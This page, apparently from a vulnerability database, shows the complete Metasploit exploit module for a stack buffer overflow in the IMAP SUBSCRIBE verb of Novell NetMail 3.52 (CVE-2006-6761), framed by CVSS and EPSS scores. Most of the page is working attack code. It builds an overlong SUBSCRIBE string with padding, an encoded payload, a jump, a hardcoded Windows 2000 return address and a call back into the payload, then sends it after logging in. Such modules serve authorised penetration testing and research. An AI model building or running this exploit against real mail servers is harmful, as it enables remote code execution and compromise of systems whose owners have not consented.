Lucene search

K
metasploitMC <[email protected]>MSF:EXPLOIT-WINDOWS-IMAP-NOVELL_NETMAIL_SUBSCRIBE-
HistoryJan 01, 2007 - 2:13 p.m.

Novell NetMail IMAP SUBSCRIBE Buffer Overflow

2007-01-0114:13:16
www.rapid7.com
11

CVSS2

6.5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:S/C:P/I:P/A:P

EPSS

0.107

Percentile

95.2%

This module exploits a stack buffer overflow in Novell’s NetMail 3.52 IMAP SUBSCRIBE verb. By sending an overly long string, an attacker can overwrite the buffer and control program execution.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::Imap

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Novell NetMail IMAP SUBSCRIBE Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in Novell's NetMail 3.52 IMAP SUBSCRIBE
        verb. By sending an overly long string, an attacker can overwrite the
        buffer and control program execution.
      },
      'Author'         => [ 'MC' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2006-6761' ],
          [ 'OSVDB', '31360' ],
          [ 'BID', '21728' ],
          [ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=454' ],
        ],
      'Privileged'     => true,
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Payload'        =>
        {
          'Space'    => 500,
          'BadChars' => "\x00\x0a\x0d\x20",
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          ['Windows 2000 SP0-SP4 English',		{ 'Ret' => 0x75022ac4 }],
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2006-12-23'))

  end

  def exploit
    sploit =  "a002 SUBSCRIBE #" + rand_text_english(1602) + payload.encoded
    sploit << "\xeb\x06" + rand_text_english(2) + [target.ret].pack('V')
    sploit <<  [0xe8, -485].pack('CV') + rand_text_english(150)

    info = connect_login

    if (info == true)
      print_status("Trying target #{target.name}...")
      sock.put(sploit + "\r\n")
    else
      print_status("Not falling through with exploit")
    end

    handler
    disconnect
  end
end

CVSS2

6.5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:S/C:P/I:P/A:P

EPSS

0.107

Percentile

95.2%

Related for MSF:EXPLOIT-WINDOWS-IMAP-NOVELL_NETMAIL_SUBSCRIBE-